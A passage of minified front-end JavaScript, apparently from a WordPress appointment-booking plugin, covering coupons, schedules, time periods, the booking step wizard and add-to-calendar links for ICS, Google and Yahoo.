O{setupProperties(){super.setupProperties(),this.status=\"new\",this.code=\"\",this.description=\"\",this.type=\"fixed\",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of[\"expirationDate\",\"minDate\",\"maxDate\"]){let i=e[t];null!=i&&\"\"!==i&&(this[t]=b(i)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date\u003Cthis.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let i=e.getPrice();switch(this.type){case\"fixed\":t=this.amount;break;case\"percentage\":t=i*this.amount\u002F100}t=Math.min(t,i)}return t}}function H(e){return!!e}function W(e){let t=parseInt(e);return isNaN(t)?e\u003C\u003C0:t}class j{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf(\"mpa_\")?t.substring(4):0===t.indexOf(\"_mpa_\")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let i=this.mapRestDataToEntity(t);return this.saveEntity(e,i),i}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let i=[],s=[];for(let a of e)this.haveEntity(a)&&!t?s.push(this.getEntity(a)):i.push(a);return 0===i.length?Promise.resolve(s):this.requestEntities(i).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),s.push(e)}return s}),(e=>[]))}requestEntity(e){return h(this.getRoute(),{id:e})}requestEntities(e){return h(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`\u002F${this.entityType}s`}}class z extends j{findByCode(e,t=!1){return h(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new U(e.id,e)}}function G(e,t=\"public\"){return f(e,\"internal\"==t?\"H:i\":\"public\"==t?m().settings().getTimeFormat():t)}function Q(e){let t=e.split(\":\"),i=parseInt(t[0]),s=parseInt(t[1]),a=v();return a.setHours(i,s),a}class Y{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(\" - \");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime=\"string\"==typeof e?Q(e):new Date(e)}setEndTime(e){this.endTime=\"string\"==typeof e?Q(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime\u003Ce.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime\u003C=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime\u003Ce.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new Y(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new Y(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()\u003C=0}toString(e=\"public\",t=\" - \"){\"internal\"==e&&(t=\" - \");let i=\"short\"==e?\"public\":e,s=G(this.startTime,i),a=G(this.endTime,i);return\"internal\"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&s===a?u(\"All day\",\"motopress-appointment\"):\"short\"==e&&s==a?s:s+t+a}}class K extends O{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)\"date\"==t?this.setDate(e[t]):\"serviceTime\"==t?this.setServiceTime(e[t]):\"bufferTime\"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date=\"string\"==typeof e?b(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime=\"string\"==typeof e?new Y(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime=\"string\"==typeof e?new Y(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class Z extends j{mapRestDataToEntity(e){return new K(e.id,e)}}class J{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(\" - \");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return\"string\"==typeof e?b(e)||v():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e\u002F1e3\u002F3600\u002F24)}inPeriod(e){return\"string\"==typeof e&&(e=b(e)),null!=e&&e>=this.startDate&&e\u003C=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t\u003C=this.endDate;t.setDate(t.getDate()+1)){let i=f(t,\"internal\"),s=new Date(t);e[i]=s}return e}toString(){return f(this.startDate,\"internal\")+\" - \"+f(this.endDate,\"internal\")}}class X extends O{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in e)\"timetable\"==t?this.setTimetable(e[t]):\"customWorkdays\"==t?this.setCustomWorkdays(e[t]):\"daysOff\"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],i=[];e.forEach((e=>{let s=new Y(e.time_period);t.push({time_period:s,location:e.location,activity:e.activity}),\"work\"==e.activity&&i.push({time_period:s,location:e.location})})),this.timetable.push(t),this.workTimetable.push(i)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new J(t.date_period),time_period:new Y(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new J(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return\"string\"!=typeof e&&(e=f(e,\"internal\")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if(\"string\"==typeof e&&(e=b(e)),null==e)return[];let i=[],s=e.getDay();for(let e of this.workTimetable[s])0!=t&&e.location!=t||i.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&i.push(t.time_period);return i}}class ee extends j{mapRestDataToEntity(e){return new X(e.id,e)}}class te extends j{mapRestDataToEntity(e){return new V(e.id,e)}}class ie{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new ee(\"mpa_schedule\")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new te(\"mpa_service\")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new Z(\"mpa_reservation\")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new z(\"mpa_coupon\")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==ie.instance&&(ie.instance=new ie),ie.instance}}function se(){return ie.getInstance()}let ae=null;function re(e,t){const i=[];for(const s of e){const e=t.includes(s.slug),a=Array.isArray(s.children)?s.children:[],r=a.length?re(a,t):[];(e||r.length>0)&&i.push({...s,children:r})}return i}function ne(e){let t=[];for(const i of e)i.slug&&t.push(i.slug),Array.isArray(i.children)&&(t=t.concat(ne(i.children)));return t}function oe(e,t=[],i=null,s=0){const a=[],r=new Map(t.map(((e,t)=>[e,t]))),n=[...e].sort(((e,t)=>{var i,s;return(null!==(i=r.get(e.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)-(null!==(s=r.get(t.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)}));for(const e of n)Array.isArray(i)&&!i.includes(e.slug)||(a.push({id:e.slug,name:\"&nbsp;&nbsp;\".repeat(s)+e.name}),Array.isArray(e.children)&&a.push(...oe(e.children,t,i,s+1)));return a}function le(e){return H(e)}class he{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return this.readyPromise=function(e=!1){return(e||null==ae)&&(ae=h(\"\u002Fservices\u002Favailable\").catch((e=>(console.error(\"Unable to extract available services.\"),{})))),ae}(e).then((e=>{const{services:t,services_order:i,categories_order:s,employees_order:a,locations_order:r,categories_tree:n}=e;return this.setServiceIndexes(i||[]),this.setCategoryIndexes(s||[]),this.setEmployeeIndexes(a||[]),this.setLocationIndexes(r||[]),this.setServiceCategoriesTree(n||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let i=e[t];this.services[t]=i.name;for(let e in i.categories){let t=i.categories[e];this.serviceCategories[e]=t}for(let e in i.employees){let t=i.employees[e];this.employees[e]=t.name;for(let e in t.locations){let i=t.locations[e];this.locations[e]=i}}}}isEmpty(){return F(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,i=null){let s=new V(e);return this.services.hasOwnProperty(e)&&s.setName(this.services[e]),!0===t?(this.servicePromise=q.loadInBackground(s,se().service()),null!==i&&this.servicePromise.then(i),this.servicePromise.then((()=>s))):this.servicePromise=null,s}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new R(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new N(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e=\"\",t=0,i=0){let s={};for(let a in this.availability){let r=this.availability[a];if(\"\"===e||e in r.categories){if(0!==t){let e=!1;if(Object.keys(r.employees).forEach((i=>{r.employees[i].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===i||i in r.employees)&&(s[a]=r.name)}}return s}getAvailableServiceCategories(){let e={};for(let t in this.availability){let i=this.availability[t];jQuery.extend(e,i.categories)}return e}getAvailableEmployees(e=0,t=0){let i={};for(let s in this.availability){if(0!=e&&s!=e)continue;let a=this.availability[s];for(let e in a.employees){let s=a.employees[e];(0===t||t in s.locations)&&(i[e]=s.name)}}return i}getAvailableLocations(e=0,t=0){let i={};for(let s in this.availability){if(0!=e&&s!=e)continue;let a=this.availability[s];for(let e in a.employees){if(0!=t&&e!=t)continue;let s=a.employees[e];jQuery.extend(i,s.locations)}}return i}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,i=\"ids\"){if(!(e in this.availability))return[];let s=[];Array.isArray(t)?s=t.filter(le):0!==t&&s.push(t);let r=[];for(let t in this.availability[e].employees){t=W(t);let i=this.availability[e].employees[t];if(0===s.length)r.push(t);else{a(s,Object.keys(i.locations).map(W)).length>0&&r.push(t)}}return 0===r.length?[]:\"entities\"===i?r.map((e=>this.getEmployee(e))):r}filterAvailableLocations(e,t=0,i=\"ids\"){if(!(e in this.availability))return[];let a=[];Array.isArray(t)?a=t.filter(le):0!==t&&a.push(t);let r=[];for(t in this.availability[e].employees){if(t=W(t),a.length>0&&-1===a.indexOf(t))continue;let i=this.availability[e].employees[t];for(let e in i.locations)r.push(W(e))}return r=s(r),0===r.length?[]:\"entities\"===i?r.map((e=>this.getLocation(e))):r}}class ce{constructor(e){this.cart=e,this.steps=new M,this.currentStep=null,this.currentStepId=\"\"}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(\".mpa-booking-step\").on(\"mpa_booking_step_next\",((e,t)=>this.onStep(\"next\",t))).on(\"mpa_booking_step_back\",((e,t)=>this.onStep(\"back\",t))).on(\"mpa_booking_step_new\",((e,t)=>this.onStep(\"new\",t))).on(\"mpa_reset_booking\",((e,t)=>this.onStep(\"reset\",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case\"next\":this.goToNextStep();break;case\"back\":this.goToPreviousStep();break;case\"new\":this.goToFirstStep();break;case\"reset\":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):\"\";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{\"cart item\"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{\"cart item\"!==e.getCartContext()&&e.reset()}))}}class pe{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(\".mpa-actions\"),this.$buttonBack=this.$buttons.find(\".mpa-button-back\"),this.$buttonNext=this.$buttons.find(\".mpa-button-next\")}theId(){return\"abstract\"}getCartContext(){return\"cart\"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on(\"click\",this.cancel.bind(this)),this.$buttonNext.on(\"click\",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let i=this.validateProperty(e,t);if(i===this[e])return;let s=this.preventReact;this.preventReact=!0,this.updateProperty(e,i),s||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let i=t;if(e in this.schema){let s=this.schema[e];if(null==t)i=s.default;else{switch(s.type){case\"bool\":i=H(t);break;case\"integer\":i=W(t)}if(!F(i)&&null!=s.options){s.options.indexOf(i)>=0||(i=this[e])}}}else null==t&&(i=null);return i}updateProperty(e,t){let i=this[e];this[e]=t,this.afterUpdate(e,t,i)}afterUpdate(e,t,i){}react(){let e=this.isValidInput();this.$buttonNext.prop(\"disabled\",!e),this.hideButtons&&this.$buttons.toggleClass(\"mpa-hide\",!e)}show(){this.enable(),this.react(),this.$element.removeClass(\"mpa-hide\"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass(\"mpa-loaded\"),this.hideButtons||this.$buttons.removeClass(\"mpa-hide\")}hide(){this.disable(),this.$element.addClass(\"mpa-hide\")}enable(){this.isActive=!0,this.$buttonBack.prop(\"disabled\",!1),this.$buttonNext.prop(\"disabled\",!1)}disable(){this.isActive=!1,this.$buttonBack.prop(\"disabled\",!0),this.$buttonNext.prop(\"disabled\",!0)}cancel(e){void 0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():\"object\"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger(\"mpa_booking_step_back\",{step:this.stepId})}triggerNext(){this.$element.trigger(\"mpa_booking_step_next\",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop(\"disabled\",!0),this.$buttonBack.toggleClass(\"mpa-hide\",!0)}}class de{static calculateTimezoneOffset(e){if(\"UTC\"===e)return 0;const[t,i]=e.split(\":\").map(Number);if(isNaN(t)||isNaN(i))throw new Error(\"Unknown timezone format: \"+e);return 60*t+i}static applyTimezoneOffset(e,t){const i=new Date(e);return i.setMinutes(e.getMinutes()-t),i}static isTimezoneProvideByIANA(e){return\u002F^[A-Za-z]+\\\u002F[A-Za-z_]+(\\\u002F[A-Za-z_]+)?$\u002F.test(e)}static formatDateToCalendar(e){return e.toISOString().replace(\u002F-|:|\\.\\d{3}\u002Fg,\"\")}static formatDateToCalendarLocal(e){return e.toISOString().replace(\u002F-|:|\\.\\d{3}|Z\u002Fg,\"\")}static formatDateForOffsetTimeZone(e,t){const i=(new Date).getTimezoneOffset();let s=this.applyTimezoneOffset(e,i);const a=this.calculateTimezoneOffset(t);return s=this.applyTimezoneOffset(s,a),this.formatDateToCalendar(s)}static formatDateForIANATimeZone(e){const t=(new Date).getTimezoneOffset();let i=this.applyTimezoneOffset(e,t);return this.formatDateToCalendarLocal(i)}static formatDateForCalendar(e,t){return this.isTimezoneProvideByIANA(t)?this.formatDateForIANATimeZone(e):this.formatDateForOffsetTimeZone(e,t)}static createICSURL(e,t,i,s,a,r){const n=m().settings().getTimezone();let o=this.formatDateForCalendar(t,n),l=this.formatDateForCalendar(i,n);0===t.getHours()&&0===t.getMinutes()&&0===i.getHours()&&0===i.getMinutes()&&(o=o.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),l=l.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"));const h=[\"BEGIN:VCALENDAR\",\"VERSION:2.0\",`PRODID:${m().settings().getBusinessName()}`];this.isTimezoneProvideByIANA(n)&&h.push(\"BEGIN:VTIMEZONE\",\"TZID:\"+n,\"END:VTIMEZONE\");let c={dtstamp:\"DTSTAMP:\"+this.formatDateToCalendar(new Date),uid:\"UID:\"+e,dtstart:\"DTSTART\"+(this.isTimezoneProvideByIANA(n)?\";TZID=\"+n+\":\":\":\")+o,dtend:\"DTEND\"+(this.isTimezoneProvideByIANA(n)?\";TZID=\"+n+\":\":\":\")+l,summary:\"SUMMARY:\"+s,description:\"DESCRIPTION:\"+a,location:\"LOCATION:\"+r};c=wp.hooks.applyFilters(\"mpa_prepare_vevent_data\",c);let p=Object.values(c);h.push(\"BEGIN:VEVENT\",...p,\"END:VEVENT\"),h.push(\"END:VCALENDAR\");const d=h.join(\"\\n\"),u=new Blob([d],{type:\"text\u002Fcalendar\"});return window.URL.createObjectURL(u)}static createGoogleCalendarURL(e,t,i,s,a){const r=new URL(\"https:\u002F\u002Fwww.google.com\u002Fcalendar\u002Frender\"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n);return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()&&(o=o.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),l=l.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\")),r.search=new URLSearchParams({action:\"TEMPLATE\",text:i,dates:`${o}\u002F${l}`,details:s,location:a}).toString(),this.isTimezoneProvideByIANA(n)&&r.searchParams.append(\"ctz\",n),r.toString()}static createYahooCalendarURL(e,t,i,s,a){const r=new URL(\"https:\u002F\u002Fcalendar.yahoo.com\u002F\"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n),h={v:\"60\",view:\"d\",type:\"20\",title:i,desc:s,in_loc:a};return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()?(h.st=o.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),h.dur=\"allday\"):(h.st=o,h.et=l),r.search=new URLSearchParams(h).toString(),r.toString()}}class me{constructor(e,t){this.cart=t,this.$bookingDetailsSection=e,this.$bookingCartItems=this.$bookingDetailsSection.find(\".booking-reservations\"),this.$bookingCartItem=this.$bookingCartItems.find(\".reservation\"),this.$addToCalendarGoogle=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--google\"),this.$addToCalendarApple=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--apple\"),this.$addToCalendarOutlook=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--outlook\"),this.$addToCalendarYahoo=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--yahoo\")}assignURL(e,t){e.attr(\"href\",t)}initBookingCart(){this.$bookingCartItems.empty(),wp.hooks.doAction(\"mpa_booking_details_section_init\",this.$bookingDetailsSection,this.cart),this.cart.items.forEach((e=>{let t=this.$bookingCartItem.clone();this.$bookingCartItems.append(t);const i=e.getService(),s=i.getName(),a=e.employee.name+\". \"+i.getQuantityLabel()+\": \"+e.getCapacity()+\".\";let r=s;e.getCapacity()>1&&(r+=\" \",r+='\u003Cspan class=\"mpa-reservation-capacity\">',r+=i.getQuantityLabel()+\": \"+e.getCapacity(),r+=\"\u003C\u002Fspan>\"),t.find(\".reservation-title\").html(r),t.find(\".reservation-date\").html(f(e.date)),t.find(\".reservation-time\").html(e.time.toString());const n=de.createICSURL(e.getItemId(),e.time.startTime,e.time.endTime,s,a,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_ics\",e.location.name,e)),o=de.createGoogleCalendarURL(e.time.startTime,e.time.endTime,s,a,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_google\",e.location.name,e)),l=de.createYahooCalendarURL(e.time.startTime,e.time.endTime,s,a,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_yahoo\",e.location.name,e));this.assignURL(t.find(\".mpa-add-to-calendar-link--google\"),o),this.assignURL(t.find(\".mpa-add-to-calendar-link--apple\"),n),this.assignURL(t.find(\".mpa-add-to-calendar-link--outlook\"),n),this.assignURL(t.find(\".mpa-add-to-calendar-link--yahoo\"),l)})),this.$bookingDetailsSection.toggleClass(\"mpa-hide\",!1)}reset(){this.$bookingDetailsSection.toggleClass(\"mpa-hide\",!0);const e=\"#\";this.assignURL(this.$addToCalendarGoogle,e),this.assignURL(this.$addToCalendarApple,e),this.assignURL(this.$addToCalendarOutlook,e),this.assignURL(this.$addToCalendarYahoo,e)}}class ue extends pe{setupProperties(){super.setupProperties(),this.hideButtons=!0,this.isPosted=!1,this.isBooked=!1,this.$message=this.$element.find(\".mpa-message\").first(),this.$buttonReset=this.$buttons.find(\".mpa-button-reset\"),this.$bookingDetails=this.$element.find(\".mpa-booking-details\").first(),this.$bookingDetails.length>0&&(this.bookingDetails=new me(this.$bookingDetails,this.cart))}reload(){return this.isPosted=!1,this.isBooked=!1,this.setMessage(u(\"Making a reservation...\",\"motopress-appointment\")+' \u003Cspan class=\"mpa-preloader\">\u003C\u002Fspan>'),this.bookingDetails&&this.bookingDetails.reset(),Promise.resolve(this)}addListeners(){super.addListeners(),this.$buttonReset.on(\"click\",this.resetForm.bind(this))}theId(){return\"booking\"}react(){this.isPosted&&(this.$buttons.removeClass(\"mpa-hide\"),this.$buttonBack.toggleClass(\"mpa-hide\",this.isBooked),this.$buttonReset.toggleClass(\"mpa-hide\",!this.isBooked||this.isRedirectNeeded()))}show(){super.show(),this.createBooking()}createBooking(){c(\"\u002Fbookings\",{...wp.hooks.applyFilters(\"mpa_booking_cart_data\",this.cart.toArray()),nonce:this.cart.getBookingNonce()}).then((e=>{this.isRedirectNeeded()?this.redirectPayment():(this.isPosted=this.isBooked=!0,this.cart.paymentDetails.booking_id=e.booking_id,wp.hooks.doAction(\"mpa_booking_cart_response\",e,this.cart),this.setMessage(e.message),this.bookingDetails&&this.bookingDetails.initBookingCart(),this.react())}),(e=>{this.isPosted=!0,this.setMessage(e.message),this.react()}))}showReady(){super.showReady(),this.$buttonBack.addClass(\"mpa-hide\"),this.$buttonReset.addClass(\"mpa-hide\")}setMessage(e){this.$message.html(e)}redirectPayment(){this.setMessage(u(\"You will be redirected to a secure page to complete the payment.\",\"motopress-appointment\"));let e=this.cart.getPaymentDetails();window.location.href=e.redirect_url}isRedirectNeeded(){let e=this.cart.getPaymentDetails();return\"redirect_url\"in e&&\"\"!=e.redirect_url}resetForm(e){e.preventDefault(),this.isPosted&&this.isBooked&&this.$element.trigger(\"mpa_reset_booking\")}}function ge(e){let t=\"\";for(let i in e)t+=\" \"+i+'=\"'+e[i]+'\"';return t}function ye(e,t={}){return\"\u003Cbutton\"+ge(t=jQuery.extend({},{type:\"button\",class:\"button\"},t))+\">\"+e+\"\u003C\u002Fbutton>\"}function fe(e,t){let i={service_id:\".mpa-service-id\",service_name:\".mpa-service-name\",service_thumbnail:\".mpa-service-thumbnail\",employee_id:\".mpa-employee-id\",employee_name:\".mpa-employee-name\",location_id:\".mpa-location-id\",location_name:\".mpa-location-name\",reservation_date:\".mpa-reservation-date\",reservation_save_date:\".mpa-reservation-save-date\",reservation_time:\".mpa-reservation-time\",reservation_period:\".mpa-reservation-period\",reservation_save_period:\".mpa-reservation-save-period\",reservation_capacity:\".mpa-reservation-capacity\",reservation_clients:\".mpa-reservation-clients\",reservation_clients_count:\".mpa-reservation-clients-count\",reservation_price:\".mpa-reservation-price\"},s=t.clone();s.attr(\"data-id\",e.getItemId());let a=e.getCapacityOptions();for(let t in i){let n=i[t],o=s.find(n).first(),l=\"{\"+t+\"}\";if(!(o.length>0?o.html():\"\").includes(l))continue;let h=\"\";switch(t){case\"service_id\":h=e.service.id;break;case\"service_name\":h=e.service.name;break;case\"service_thumbnail\":h=ke(e.service.thumbnail);break;case\"employee_id\":h=e.employee.id;break;case\"employee_name\":h=e.employee.name;break;case\"location_id\":h=e.location.id;break;case\"location_name\":h=e.location.name;break;case\"reservation_date\":h=f(e.date);break;case\"reservation_save_date\":h=f(e.date,\"internal\");break;case\"reservation_time\":h=e.time.toString(\"short\");break;case\"reservation_period\":h=e.time.toString();break;case\"reservation_save_period\":h=e.time.toString(\"internal\");break;case\"reservation_capacity\":h=Se(r(a,a),e.capacity);break;case\"reservation_clients\":h=Pe(r(a,a),e.capacity);break;case\"reservation_clients_count\":h=e.capacity;break;case\"reservation_price\":let t=e.employee.id;h=ve(e.service.getPrice(t,e.capacity))}o.html(o.html().replace(l,h))}return s.find(\".cell-people .cell-title\").html(e.getService().getQuantityLabel()),s.find('[name*=\"{item_id}\"]').each(((t,i)=>{i.name=i.name.replace(\"{item_id}\",e.getItemId())})),1===a.length&&s.find(\".cell-people\").addClass(\"mpa-hide\"),s}function be(e){let t=\"\";t+='\u003Ctable class=\"mpa-order widefat\">',t+=\"\u003Ctbody>\";for(let i of e.products)t+='\u003Ctr class=\"mpa-order-service\">',t+='\u003Ctd class=\"column-service\">',t+='\u003Cspan class=\"mpa-service-name\">'+i.name+\"\u003C\u002Fspan>\",i.capacity>1&&(t+='\u003Cspan class=\"mpa-reservation-capacity\">',t+=i.quantity_label+\": \"+i.capacity,t+=\"\u003C\u002Fspan>\"),t+=\"\u003C\u002Ftd>\",t+='\u003Ctd 